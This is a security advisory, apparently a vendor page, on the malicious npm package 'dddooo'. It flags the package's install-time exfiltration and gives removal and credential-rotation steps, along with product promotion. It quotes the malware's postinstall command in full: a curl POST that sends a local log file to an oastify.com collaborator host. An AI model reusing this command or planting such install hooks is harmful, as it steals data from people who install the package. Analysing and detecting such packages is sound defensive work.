dddooonpm
Malicious code in dddooo (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$(cat /data/logs/monitor-2026-06-16.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. The script reads a file from the installer's filesystem and POSTs its contents over plain HTTP to an attacker-controlled Burp Collaborator (oastify.com) out-of-band interaction subdomain. The package presents itself as a handy string utility functions library, but has empty author/homepage/repository fields and includes a malformed trunls -lae keyword — the library framing is a cover for the install-time exfiltration. No legitimate string-utility package needs to read system log paths or beacon to oastify.com on install.
The OpenSSF Package Analysis project identified 'dddooo' @ 1.0.2 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for dddooo (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging dddooo across your stack and pipelines.
If you installed it — respond
dddooo is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If dddooo was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks dddooo before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks dddooo-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.